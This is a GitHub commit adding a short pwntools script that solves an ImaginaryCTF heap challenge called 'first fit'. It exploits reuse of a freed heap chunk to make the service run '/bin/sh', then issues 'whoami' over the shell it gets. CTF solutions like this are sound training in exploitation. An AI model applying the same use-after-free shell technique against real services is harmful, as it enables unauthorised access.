Merge pull request #10 from Cryptonite-MIT/rajat

priv esc chal imaginary
This commit is contained in:
Sohom Datta 2021-10-02 01:31:33 +05:30 committed by GitHub
commit b25b091bf5
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

25
misc/first_fit.py Normal file
View file

@ -0,0 +1,25 @@
from pwn import *
r = remote("chal.imaginaryctf.org", 42003)
# for i in range(0,7):
r.recvuntil('1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ')
r.sendline("1")
r.recvuntil("What do I malloc?\n(1) a\n(2) b\n>> ")
r.sendline("1")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("3")
r.recvuntil(">> ")
r.sendline("/bin/sh")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("2")
r.recvuntil("What do I free?\n(1) a\n(2) b\n>> ")
r.sendline("1")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("1")
r.recvuntil("What do I malloc?\n(1) a\n(2) b\n>> ")
r.sendline("2")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("4")
r.sendline("whoami")
print(r.recvline())
r.close()